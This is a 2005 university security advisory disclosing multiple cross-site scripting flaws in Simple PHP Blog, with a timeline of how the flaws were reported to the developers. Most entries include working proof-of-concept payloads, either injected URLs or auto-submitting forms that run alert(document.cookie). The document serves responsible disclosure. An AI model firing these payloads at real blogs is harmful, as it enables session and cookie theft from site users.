Simple PHP Blog: Multiple XSS Vulnerabilities
===========================================================
Simple PHP Blog: Multiple XSS Vulnerabilities
===========================================================
Technical University of Vienna Security Advisory
TUVSA-0511-001, November 2, 2005
===========================================================
Affected applications
----------------------
Simple PHP Blog (www.simplephpblog.com)
Versions 0.4.5 and prior.
Description
------------
1.) preview_cgi.php, part 1
There is a cross-site scripting (XSS) vulnerability in the file preview_cgi.php
on line 126: The variable $entry is echoed,
but hasn't been sufficiently sanitized before. When logged in, this issue can
be tested with the following URL:
http://your-server/path-to-sphpblog/preview_cgi.php?entry=foo";><script>alert(document.cookie)</script>
The fields "your-server" and "path-to-sphpblog" in the given URL have to be
adjusted accordingly.
2.) preview_cgi.php, part 2
There is another cross-site scripting vulnerability in the file preview_cgi.php
on line 129: The variable $temp_subject is echoed,
but hasn't been sufficiently sanitized before. When logged in, this issue can
be tested by visiting a page structured
as follows:
<form action="http://your-server/path-to-sphpblog/preview_cgi.php";
method="post">
<input name="blog_subject"
value='"><script>alert(document.cookie)</script>'/>
<input type="submit"/>
</form>
<script type="text/javascript">
document.forms[0].submit();
</script>
An analogous vulnerability affects preview_cgi.php on line 158:
<form action="http://your-server/path-to-sphpblog/preview_cgi.php";
method="post">
<input name="blog_text"
value='</textarea><script>alert(document.cookie)</script>'/>
<input type="submit"/>
</form>
<script type="text/javascript">
document.forms[0].submit();
</script>
3.) preview_static_cgi.php
In the file preview_static_cgi.php, there are four vulnerabilities resembling
those in preview_cgi.php:
- line 73, variable $entry; example URL:
http://localhost/~enji/path-to-sphpblog/preview_static_cgi.php?entry=foo";><script>alert(document.cookie)</script>
- line 76, variable $temp_subject; example file:
<form action="http://your-server/path-to-sphpblog/preview_static_cgi.php";
method="post">
<input name="blog_subject"
value='"><script>alert(document.cookie)</script>'/>
<input type="submit"/>
</form>
<script type="text/javascript">
document.forms[0].submit();
</script>
- line 158, variable $temp_text; example file:
<form action="http://your-server/path-to-sphpblog/preview_static_cgi.php";
method="post">
<input name="blog_text"
value='</textarea><script>alert(document.cookie)</script>'/>
<input type="submit"/>
</form>
<script type="text/javascript">
document.forms[0].submit();
</script>
- line 108, variable $temp_file_name is set to $_POST['file_name'] if
$_GET['entry'] is not set, and set to $entry otherwise
(in this case, see vulnerability on line 73); example file:
<form action="http://your-server/path-to-sphpblog/preview_static_cgi.php";
method="post">
<input name="file_name" value='"><script>alert(document.cookie)</script>'/>
<input type="submit"/>
</form>
<script type="text/javascript">
document.forms[0].submit();
</script>
4) colors.php
The variables variables $preset_name and $result on line 187 of the file
colors.php are also vulnerable to XSS. This can be tested with one of the
following two pages:
<form action="http://your-server/path-to-sphpblog/colors_cgi.php";
method="post">
<input name="save_btn" value="1"/>
<input name="scheme_name"
value='"></option></select><script>alert(document.cookie)</script>'/>
<input name="scheme_file" value="blabla"/>
<input type="submit"/>
</form>
<script type="text/javascript">
document.forms[0].submit();
</script>
or
<form action="http://your-server/path-to-sphpblog/colors_cgi.php";
method="post">
<input name="save_btn" value="1"/>
<input name="scheme_name" value="myscheme"/>
<input name="scheme_file" value="blabla"/>
<input name="bg_color"
value='"><script>alert(document.cookie)</script>'/>
<input type="submit"/>
</form>
<script type="text/javascript">
document.forms[0].submit();
</script>
Solution
---------
The authors are currently working on a new version of Simple PHP Blog that is
supposed to fix these vulnerabilities.
Timeline:
September 22, 2005:
Vulnerabilities reported via the contact form under
http://www.simplephpblog.com/contact.php.
September 29, 2005:
Message posted to the project-related SourceForge bug forum
(http://sourceforge.net/projects/sphpblog) due to missing response.
October 1, 2005:
Developers reply via SourceForge.
October 2, 2005:
Vulnerabilities reported via the e-mail address given in the previous reply.
Until November 2, 2005:
Occasional contact via e-mail, announcement of advisory release date one week
in advance remained uncommented.
November 2, 2005:
Advisory submission.
References
-----------
http://www.seclab.tuwien.ac.at/advisories/TUVSA-0511-001.txt
Nenad Jovanovic
Secure Systems Lab
Technical University of Vienna
www.seclab.tuwien.ac.at